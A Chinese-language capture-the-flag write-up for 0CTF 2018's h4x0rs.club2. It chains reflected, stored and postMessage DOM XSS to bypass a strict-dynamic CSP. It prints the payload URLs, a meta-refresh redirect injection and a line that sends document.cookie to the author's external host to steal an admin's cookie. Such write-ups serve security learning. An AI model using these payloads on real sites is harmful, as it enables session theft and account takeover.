0CTF 2018 h4x0rs.club2 writeup

0x01 前言

这道题硬刚了一晚上都没刚出来,赛后发现题目还没关,心血来潮试着做了一下,找到了xss点,可惜xss bot已经关了就没有验证到,在这里分享一下解题思路。

0x02 解题

全站有两处XSS,都有CSP限制

//首页反射型XSS  https://h4x0rs.club/game/?msg=aaaa
Content-Security-Policy: script-src 'nonce-d545899643f50aae21eb6baee87758b6' 'strict-dynamic';

//个人资料存储型XSS   https://h4x0rs.club/game/user.php/0xwfox
Content-Security-Policy: default-src 'none'; img-src * data: ; script-src 'nonce-12b24046f6b695704236666876698ce5'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/;

首先分析下CSP限制的内容,寻找下可以利用的点。两处都有nonce值进行限制,没法通过静态写入HTML的方式执行JS脚本。由于个人资料的CSP规则太多,iframe框架也限制https://www.google.com/recaptcha/,根据hint提示构造跳转到CSP限制少点的首页XSS。

首页的CSP中只有script-src限制,其中的strict-dynamic就是我们要利用的地方

"strict-dynamic"允许js动态添加的脚本执行,而忽略script-src的白名单。并且,其他的script-src白名单会被忽略,浏览器不会执行静态或解析器插入的脚本,除非它伴随有效的nonce值。

所以我们只能通过首页的DOM XSS插入js脚本,才能够成功插入js。分析游戏首页的代码,从中寻找利用点,两个注释附近的地方比较可疑

QQ截图20180407141627.png

https://h4x0rs.club/game/javascripts/app.js中又引入了js脚本https://h4x0rs.club/game/javascripts/client.js ,为游戏与服务器的交互脚本。client.js中采用postMessage的方式与跨域的https://backend.h4x0rs.club/backend_www/进行交互通讯,postMessage回调函数recvmsg中的badges方法中存在DOM XSS,title可控,只要通过postMessage方式唤起这个函数并传递payload就可以插入xss了。

            case 'badges':
            if(data.result != 1){
                return CLIENT_GAME._Error('badges');
            }


            var hex = atob(data.data),bytes = [],image_b64;
            for(var i=0; i< hex.length-1; i+=2){
                bytes.push(parseInt(hex.substr(i, 2), 16));
            }
            image_b64 = btoa(String.fromCharCode.apply(String, bytes));
            $('#badges').append($("<span class='ml-2 mt-1 text-small-on-sm'><img title='"+data.title+"' src='data:image/png;base64,"+image_b64+"' /></span>"));
            // recv question from server
            CLIENT_GAME.badges_ready = true;
            break;

在我的站点里写一个postMessage请求的页面

QQ截图20180407142557.png

本来想在我的域中iframe调用游戏页面,然后postMessage调用,发现存在 X-Frame-Options: SAMEORIGIN 就无法iframe嵌套该页面,只能在游戏页面iframe调用我的页面,但是插入第三方iframe会被chrome xss filter拦截,试了一下

<iframe src="/aaaa"></iframe>

嵌套同域下的框架是不会被拦截的,我的思路是另外注册一个账号,在该账号资料中插入跳转的xss让他跳转到我们的页面上,然后嵌套该用户的资料

</p><meta http-equiv="refresh" content="1;url=https://sec2hack.com/0ctf/"><p>

最后的payload是https://h4x0rs.club/game/?msg=aaaa%3Ciframe%20src=%27/game/user.php/0xwfox2%27%3E%3C/iframe%3E

当前的思路是:反射型XSS插入iframe调用第二个账号的资料页面 -> 资料页面存储型XSS触发跳转到恶意网页 -> 通过调用postMessage回调游戏页面,触发DOM XSS

跑起来发现js脚本并没有触发,看了下控制台

QQ截图20180407142507.png

才发现在client.js回调函数recvmsg会判断源域名是否是https://backend.h4x0rs.club

if(e.origin != GAMESERVER_ORIGIN) return CLIENT_GAME._Error("Anti-cheat");

所以只能通过 https://backend.h4x0rs.clubhttps://h4x0rs.club 发起请求,分析一下 https://backend.h4x0rs.club/backend_www/

//只拦截www.google.com的postMessage请求
if(e.origin == 'https://www.google.com') return;

//recvmsg函数中的方法
            case 'badges':
            BADGES = ["Boulder","Cascade","Thunder"];
            for(var nl = 0; nl < data.level; nl++)
                BRIDGE.badges(data.title,BADGES[nl]);
            break;

//BRIDGE中的方法,跟游戏页面通讯
badges: function(title,n){
$.post(SOCKET_URL,{'api_key':BRIDGE.API_KEY,'token':BRIDGE.TOKEN,'action':'badges','name':n},function(data){
    CLIENT.postMessage({
        'TOKEN': BRIDGE.TOKEN,
        'cmd': 'badges',
        'result': data.result,
        'data': data.data,
        'title': title+n
    },'*');
});
},

有戏,可以利用这个页面做跳板

最终思路:反射型XSS插入iframe调用第二个账号的资料页面 -> 资料页面存储型XSS触发跳转到恶意网页 -> 通过postMessage回调backend_www页面 -> backend_www页面postMessage回调游戏页面,触发DOM XSS

最终利用代码

QQ截图20180407150218.png

QQ截图20180407150356.png

成功触发弹窗,修改下第三方脚本的payload

$.get("https://sec2hack.com/1.php?"+escape(document.cookie))

修改你的资料页面

</p><meta http-equiv="refresh" content="1;url=https://h4x0rs.club/game/?msg=aaaa%3Ciframe%20src=%27/game/user.php/0xwfox2%27%3E%3C/iframe%3E"><p>

向管理员举报就能获取到cookie

QQ截图20180407151350.png

可惜赛后才做出来,XSS BOT已经关了,就没有打到管理员的cookie。

返回文章列表 文章二维码
本页链接的二维码
打赏二维码